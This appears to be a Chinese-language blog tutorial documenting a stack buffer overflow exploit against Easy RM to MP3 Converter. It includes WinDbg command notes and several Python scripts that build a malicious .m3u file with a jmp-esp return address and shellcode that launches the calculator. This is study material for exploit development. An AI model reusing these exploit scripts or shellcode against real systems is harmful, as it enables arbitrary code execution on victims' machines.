Exploit Easy RM 2 MP3的学习笔记

  这篇文章，是我的学习笔记。很多人在学习二进制的漏洞挖掘的时候，都会觉得入门很难，甚至是看不下去，其实我到不是这样认为的，无论学习什么都是要抓住重点和原理，知识在于分享，有很多人觉得如果我会了，就不应该告诉别人，我不是这么认为，我在外国也经常会分享一些东西，大家都很感兴趣，有的时候就会把我拉入私人小组，我也认识很多喜欢分享的朋友比如红尘，大柱子等等。还有就是你要做这件事的目标是什么，你的目标如何实现。

栈溢出重点在于：1，抓住缓存空间的入口地址；2，并且写入的字节数撑爆了这个变量所申请的缓冲区的边界，导致溢出。

  1，下载有漏洞的软件  

https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe

2，利用POC生成一个evil1.m3u

#!/usr/bin/python
import sys

header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46" 
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"

junk = "\x41" * 30000
ret = "\xDB\x70\xBB\x01"
nop = "\x90" * 220

calc_shell = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
calc_shell += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
calc_shell += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
calc_shell += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
calc_shell += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
calc_shell += "\x42\x50\x42\x50\x42\x30\x4b\x48\x45\x34\x4e\x43\x4b\x38\x4e\x47"
calc_shell += "\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x48\x4f\x34\x4a\x51\x4b\x48"
calc_shell += "\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x53\x4b\x48"
calc_shell += "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
calc_shell += "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
calc_shell += "\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x38"
calc_shell += "\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54"
calc_shell += "\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58"
calc_shell += "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43"
calc_shell += "\x42\x4c\x46\x36\x4b\x58\x42\x34\x42\x33\x45\x48\x42\x4c\x4a\x57"
calc_shell += "\x4e\x30\x4b\x48\x42\x44\x4e\x30\x4b\x48\x42\x47\x4e\x41\x4d\x4a"
calc_shell += "\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
calc_shell += "\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x45\x41\x33"
calc_shell += "\x48\x4f\x42\x36\x48\x45\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x47"
calc_shell += "\x42\x55\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x55\x4a\x36\x4a\x39"
calc_shell += "\x50\x4f\x4c\x38\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x36"
calc_shell += "\x4e\x56\x43\x36\x50\x32\x45\x36\x4a\x57\x45\x56\x42\x30\x5a"

if len(sys.argv) < 2:
    print 'usage: python ' + sys.argv[0] +' name.m3u'
else:
    with open(sys.argv[1],"w") as f:
        f.write(header + junk + ret + nop + calc_shell)

文件的内容为：

 

junk = "\x41" * 1293 填充了1293个A发现程序并没有崩溃，那需要填写更大的数据来测试一下，我们可以增加到3W,再次生成evil3.m3u，发现程序已经崩溃，因为被覆盖后的地址不可控或者没有映射到内存空间，所以导致程序崩溃

 

崩溃后发现调用的地址是0x41414141，发现此地址并未映射内存空间，所以导致程序崩溃。

b 

 

下面普及一下基本的流程控制与DEBUG事件

t-单步进入

gu-go up,执行当前函数直到结束，返回调用者

p-单步跳过

g-go 程序继续执行

Ctrl+Break--被调试程序运行时，可以通过这个热键暂停

[t|p]a Address --单步进入/单步跳过执行到指定地址

gc-这个指令用于在条件断点的时候挂起执行后执行恢复

  g[h|n]--发生异常的时间，这个命令用于已经处理恢复执行和未处理执行

  [p|t]c--单步跳过，直到遇见CALL

  [p|t]h--单步跳过，直到遇到分支跳转指令

[p|t]t--单步跳过，知道遇到RET指令

[p|t]tc--单步跳过，直到遇见CALL或者RET

~命令列出所有线程

~1s切换到的线程号

|1s 切换进程的号

r eax=2 修改寄存器的值

rm 显示当前寄存器掩码

lm n 查看进程与模块

lm v m *volsnap* 可以通过V开关打开VERBOSE模式，通过m参数指定一个要匹配的模块名

！process 0 0 列出所有运行的进程

！process 0 0 explorer.exe 可以知道EROCESS的值

还有很多就不一一列出了。

现在要寻找ret 的地址，利用MONA插件生成有规律的字符，可以通过规律可循找偏移量

 

把这段16进制的数据贴到JUNK里，重新加载生成的m3u文件，程序崩溃，地址在48336d48

!py mona.py pattern_offset 48336d48 通过查找这个地址计算偏移量为20280+5829
 

 

填充RET地址，看一下结果：

junk = "\x41"*26105

是因为EBP栈占了四位

ebp = "\x42\x42\x42\x42"

ret地址附上"\x43\x43\x43\x43"

#!/usr/bin/python
import sys

header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46" 
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"

junk = "\x41"*26105
ebp = "\x42\x42\x42\x42"
ret = "\x43\x43\x43\x43"
shellcode = "\x90" * 220 + "\xcc"

payload = header + junk + ebp + ret + shellcode

if len(sys.argv) < 2:
    print 'usage: python ' + sys.argv[0] +' name.m3u'
else:
    with open(sys.argv[1],"w") as f:
        f.write(payload)

读取寄存器，已经被覆盖90可以发现此时esp指向0015f614，而该位置ret+8,然后我们随便找kernel32.dll中随便找到一个”jmp esp”指令，把地址77894f77填充到ret字段中：

shellcode先暂时设置成”\xcc”，也就是’int 3’指令。

#!/usr/bin/python
import sys

header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46" 
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"

junk = "\x41"*26105
ebp = "\x42\x42\x42\x42"
ret = "\x77\x4f\x89\x77"
shellcode = "\x90" * 4 + "\xcc"

payload = header + junk + ebp + ret + shellcode

if len(sys.argv) < 2:
    print 'usage: python ' + sys.argv[0] +' name.m3u'
else:
    with open(sys.argv[1],"w") as f:
        f.write(payload)

跳到了shellcode起始字节处开始执行：

 

最终exp,弹出计算器:

#!/usr/bin/python
import sys

header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46" 
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"

junk = "\x41"*26105
ebp = "\x42\x42\x42\x42"
ret = "\x77\x4f\x89\x77"

buf = "\xbf\x86\x79\x7d\x55\xdd\xc7\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
buf += "\x30\x31\x78\x13\x03\x78\x13\x83\xe8\x7a\x9b\x88\xa9\x6a\xde"
buf += "\x73\x52\x6a\xbf\xfa\xb7\x5b\xff\x99\xbc\xcb\xcf\xea\x91\xe7"
buf += "\xa4\xbf\x01\x7c\xc8\x17\x25\x35\x67\x4e\x08\xc6\xd4\xb2\x0b"
buf += "\x44\x27\xe7\xeb\x75\xe8\xfa\xea\xb2\x15\xf6\xbf\x6b\x51\xa5"
buf += "\x2f\x18\x2f\x76\xdb\x52\xa1\xfe\x38\x22\xc0\x2f\xef\x39\x9b"
buf += "\xef\x11\xee\x97\xb9\x09\xf3\x92\x70\xa1\xc7\x69\x83\x63\x16"
buf += "\x91\x28\x4a\x97\x60\x30\x8a\x1f\x9b\x47\xe2\x5c\x26\x50\x31"
buf += "\x1f\xfc\xd5\xa2\x87\x77\x4d\x0f\x36\x5b\x08\xc4\x34\x10\x5e"
buf += "\x82\x58\xa7\xb3\xb8\x64\x2c\x32\x6f\xed\x76\x11\xab\xb6\x2d"
buf += "\x38\xea\x12\x83\x45\xec\xfd\x7c\xe0\x66\x13\x68\x99\x24\x79"
buf += "\x6f\x2f\x53\xcf\x6f\x2f\x5c\x7f\x18\x1e\xd7\x10\x5f\x9f\x32"
buf += "\x55\xaf\xd5\x1f\xff\x38\xb0\xf5\x42\x25\x43\x20\x80\x50\xc0"
buf += "\xc1\x78\xa7\xd8\xa3\x7d\xe3\x5e\x5f\x0f\x7c\x0b\x5f\xbc\x7d"
buf += "\x1e\x3c\x23\xee\xc2\xc3";

shellcode = "\x90" * 30 + buf

payload = header + junk + ebp + ret + shellcode

if len(sys.argv) < 2:
    print 'usage: python ' + sys.argv[0] +' name.m3u'
else:
    with open(sys.argv[1],"w") as f:
        f.write(payload)